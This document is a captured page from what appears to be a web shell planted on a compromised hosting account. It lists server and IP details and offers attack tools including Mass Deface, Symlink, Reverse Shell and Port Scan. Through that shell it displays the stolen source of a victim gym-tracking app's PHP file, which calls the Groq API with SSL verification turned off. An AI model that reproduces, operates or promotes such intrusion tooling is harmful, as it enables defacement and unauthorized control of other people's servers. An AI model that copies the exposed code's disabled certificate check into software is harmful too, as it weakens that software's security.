Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
fracaso
/
Viewing: actions_ia.php
<?php session_start(); require_once __DIR__ . '/../../config/database.php'; require_once __DIR__ . '/../../config/openrouter.php'; if (!isMaster()) { echo json_encode(['success' => false, 'error' => 'No autorizado']); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); $db = getDB(); $uid = $_SESSION['user_id']; $duo = getDuoId(); $action = $_POST['action'] ?? 'simulate'; try { if ($action === 'load_history') { $stmt = $db->prepare("SELECT id, prediccion, created_at FROM fracaso_historial WHERE usuario_id = :uid AND duo_id = :duo ORDER BY created_at DESC"); $stmt->execute([':uid' => $uid, ':duo' => $duo]); echo json_encode(['success' => true, 'history' => $stmt->fetchAll(PDO::FETCH_ASSOC)]); exit; } if ($action === 'delete_history') { $id = $_POST['id'] ?? 0; $stmt = $db->prepare("DELETE FROM fracaso_historial WHERE id = :id AND usuario_id = :uid AND duo_id = :duo"); $stmt->execute([':id' => $id, ':uid' => $uid, ':duo' => $duo]); echo json_encode(['success' => true]); exit; } // Simulación: Recopilación de "fracasos" del usuario // 1. Metas incompletas (del duo actual) $qMetas = $db->prepare("SELECT titulo, descripcion, fecha_objetivo as fecha_limite FROM metas WHERE usuario_id = :uid AND duo_id = :duo AND estado != 'completada'"); $qMetas->execute([':uid' => $uid, ':duo' => $duo]); $metas = $qMetas->fetchAll(PDO::FETCH_ASSOC); // 2. Tareas de aprendizaje incompletas $qAprendizaje = $db->prepare("SELECT t.titulo, b.titulo as bloque_titulo FROM aprendizaje_tareas t JOIN aprendizaje_bloques b ON t.bloque_id = b.id WHERE t.usuario_id = :uid AND t.completada = 0"); $qAprendizaje->execute([':uid' => $uid]); $tareas = $qAprendizaje->fetchAll(PDO::FETCH_ASSOC); // Armado del prompt maestro $prompt = "Eres el 'Oráculo de Realidad' de ProgressGym. Tu rol es dar un golpe de realidad matemático y frío a un usuario ('Master') procrastinador.\n\n"; $prompt .= "Datos del usuario:\n"; $prompt .= "Metas Pendientes:\n"; if (count($metas) > 0) { foreach ($metas as $m) { $fechaLimit = $m['fecha_limite'] ? $m['fecha_limite'] : 'Sin fecha'; $prompt .= "- {$m['titulo']} (Límite: $fechaLimit)\n"; } } else { $prompt .= "- Ninguna meta activa configurada.\n"; } $prompt .= "\nTareas de Estudio Atrasadas:\n"; if (count($tareas) > 0) { $prompt .= "- Tiene " . count($tareas) . " tareas pendientes de aprender, abarcando temas como: "; $limit = array_slice($tareas, 0, 5); foreach ($limit as $t) { $prompt .= "{$t['titulo']} ({$t['bloque_titulo']}), "; } $prompt .= "\n"; } else { $prompt .= "- Ninguna tarea de estudio pendiente.\n"; } $prompt .= "\nInstrucciones:\n"; $prompt .= "1. Analiza estos datos e inventa una proyección analítica de 'Deriva' (Años/Meses perdidos) simulando el costo futuro de no hacer estas cosas hoy.\n"; $prompt .= "2. Habla con un tono analítico, directo e inspirador, enfocado en corregir el rumbo.\n"; $prompt .= "3. Llama al usuario como 'Master'.\n"; $prompt .= "4. CRÍTICO: NO uses formatos de markdown. Nada de tablas, ni de asteriscos dobles (**). Usa solo texto plano con saltos de línea y viñetas simples (-). Tampoco uses el símbolo # para dar formato de título. Necesito texto de nivel de sistema.\n"; // Llamar a Groq ("GPT OSS" en Groq) $payload = json_encode([ 'model' => 'openai/gpt-oss-120b', 'messages' => [ ['role' => 'user', 'content' => $prompt] ], 'max_tokens' => 900, 'temperature' => 0.5 ]); $ch = curl_init('https://api.groq.com/openai/v1/chat/completions'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Authorization: Bearer ' . GROQ_API_KEY, 'Content-Type: application/json' ], CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_TIMEOUT => 40, CURLOPT_SSL_VERIFYPEER => false // Idealmente activado en producción ]); $db = null; // Cerrar la conexión actual $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $db = getDB(true); // Reconectar limpiamente para evitar timeout $resultTry = json_decode($response, true); $hasApiError = isset($resultTry['error']); // Fallback robusto si Groq falla if ($httpCode !== 200 || $hasApiError) { $fallbackPayload = json_decode($payload, true); $fallbackPayload['model'] = 'llama3-70b-8192'; $ch = curl_init('https://api.groq.com/openai/v1/chat/completions'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Authorization: Bearer ' . GROQ_API_KEY, 'Content-Type: application/json' ], CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($fallbackPayload), CURLOPT_TIMEOUT => 40, CURLOPT_SSL_VERIFYPEER => false ]); $db = null; $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $db = getDB(true); } if ($httpCode !== 200 || !$response) { echo json_encode(['success' => false, 'error' => 'La IA falló al responder (HTTP ' . $httpCode . '). Mírate en este error y reflexiona.']); exit; } $result = json_decode($response, true); if (isset($result['error'])) { $err = $result['error']['message'] ?? 'Error desconocido API'; echo json_encode(['success' => false, 'error' => $err]); exit; } $content = $result['choices'][0]['message']['content'] ?? null; if (!$content) { echo json_encode(['success' => false, 'error' => 'Respuesta vacía de la IA.']); exit; } $usedFallback = ($httpCode !== 200 || $hasApiError); $modelUsed = $usedFallback ? 'groq_llama_fallback' : 'groq_gpt_oss_120b'; // Nombrado para tu backend try { $colCheck = $db->query("SHOW COLUMNS FROM fracaso_historial LIKE 'model_used'")->fetch(); if (!$colCheck) { $db->query("ALTER TABLE fracaso_historial ADD COLUMN model_used VARCHAR(50) DEFAULT 'groq'"); } } catch (PDOException $ex) { } // Guardar la predicción generada en el historial $stmtInsert = $db->prepare("INSERT INTO fracaso_historial (usuario_id, duo_id, prediccion, model_used) VALUES (:uid, :duo, :pred, :model)"); $stmtInsert->execute([':uid' => $uid, ':duo' => $duo, ':pred' => $content, ':model' => $modelUsed]); echo json_encode([ 'success' => true, 'analisis' => $content, 'model_used' => $modelUsed ]); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Error backend: ' . $e->getMessage()]); } }
Coded With 💗 by
0x6ick